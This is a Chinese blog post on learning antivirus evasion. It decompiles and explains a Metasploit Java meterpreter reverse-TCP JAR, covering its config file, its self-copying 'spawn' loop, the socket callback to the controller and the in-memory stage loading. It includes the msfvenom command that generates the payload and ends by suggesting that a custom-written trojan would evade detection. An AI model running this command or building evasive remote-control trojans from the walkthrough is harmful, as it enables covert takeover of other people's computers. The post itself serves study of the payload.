免责声明
由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,一旦造成后果请自行承担!
很喜欢一位师傅说的话:"红队能有很多标准板和长板,但是不能有短板"。今天学习免杀,msf 开源的可以分析代码,那就先来看看 msf 怎么写的吧
开启分析之路
1、生成一个 jar 吧:
【kali】:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 > 1.JAR
2、打开 IDEA 反编译 jar 包:
3、分析:
(1) MANIFEST.MF
文件
定义了一些信息和从哪里运行这些文件
(2)metasploit.dat
文件
三个值 对应生成木马时候的控制端地址和端口 spawn 在最后一个文件要用到
(3) payload.class
文件
从代码第一行开始 payload 类继承 classloader, 功能是获取操作系统 / 路径分隔符 / 判断 AIX / 判断路径分隔符 / 获取 java 安装路径
分析到后面其实这里和最后几行对应
来到 main 函数,开始也是各种获取加载
- 现在 metasploit.dat 文件里的内容就给到 Properties var1 这个对象了
- var2 就是 class metasploit.Payload
- var3 就是 metasploit/Payload.class
- var4 判断 metasploit.dat 不为空是真真正正存在的话就通过流加载一下然后就关掉了
接下来到 var5, 判断有没有 Executable, 结果是没有的,第一个 if 就不进去了,当然也要来看看它干了什么
- 1.如果字段不为空
- 2.获取系统一定存在的系统路径
- 3.在一定存在的系统路径下创建"~spawnxxxx.tmp.dir"文件
- 4.在创建dir下创建一个文件名为 配置文件key为Executable的目录
- 5.调用方法1.反射获取到Payload的对象,2.Executable的值,3.创建的文件(内部将Executable的值写入到创建的新文件下)
- 6.删除配置文件中的Executable
- 7.配置文件写入DroppendExecutable值为新创建的值的不同操作系统的绝对路径
接下来就到 spawn 的值了,看配置里有没有 spawn, 有就是它自己,没有就给 0
到第二个 if
- 如果i>0,将var19减去1重新赋值给配置文件的spawn
- 1.file var9为 获取当前系统临时路径.dir
- 2.file var10为 临时文件/metasploit.dat
- 3.file var11为 临时文件/metasploit.Payload.class
- 4.创建这个临时路径
- 5.将文件写入其中
做了一件什么事情呢,就是把这个文件复制一份到了临时文件目录下,不同就是 spawn 减了 1
↓接下来的第三和第四个 if 获取的东西都没有就不看了
接下来是这一部分重点,exec 就是自己去运行自己之前创建的那个文件,类似递归
跳过下一个 else, 看下面的最后一个 else
- 1.var21获取配置文件中回连的端口
- 2.var22获取配置文件中回连的地址
- 3.var23获取配置文件中回连的url,没有,就为空
- 4.如果var21<=0,就是看端口是不是正给对了,没给对就让控制台给我一个,从外面给一个,这里不会去走
- 5.var23!=null,这里也不会走
接下来又是重点
- 1.new了一个Socket的对象
- 2.建立了一个socket连接
- 3.从socket那边获取到数据,控制端这时候就给客户端传数据了,给到var24
- 4.然后创建一个输出流,返回数据给控制端
然后再下面就是客户端把木马推到内存当中,这连接就完成了
下面都是一些推到内存 / 写文件... 的实现方法了,都是辅助上面的主线路,就不分析了
总结:
1、开局获取了一堆系统配置,跟 Java 有关系,因为 Java 是跨平台运行的,判断系统配置能区分 Windows 和 Linux 系统以便更好的运行一些命令。
2、反射 payload 类,核心获取 spawn 值,直到减到 0, 拉那么多线程目的应该是对杀软有一些作用,不过国内都是 md5 值对比,对内存操作的应该是为了对应国外的杀软。
3、建立 socket 连接,获取控制端发来的大马,然后通过方法把大马推入内存。
后面还去看了 msf 的 python 马,原理都差不多,其实它的本质是什么,本质就是远控,远控要怎么做
(1) 消息传输 ⏩ socket 连接 控制端 whoami ⏩ 客户端
(2) 命令执行 ⏩ runtime 类 exec...
(3) 执行结果回传 ⏩ IO 流
原理其实很简单,但是为什么会被杀呢,被杀就是因为太多人用了,特征库里有它的特征,那要是自己写一个只有自己用呢,估计能用很久吧
标签:metasploit,文件,Executable,Java,配置文件,获取,spawn,源码,MSF From: https://www.cnblogs.com/o-O-oO/p/18669606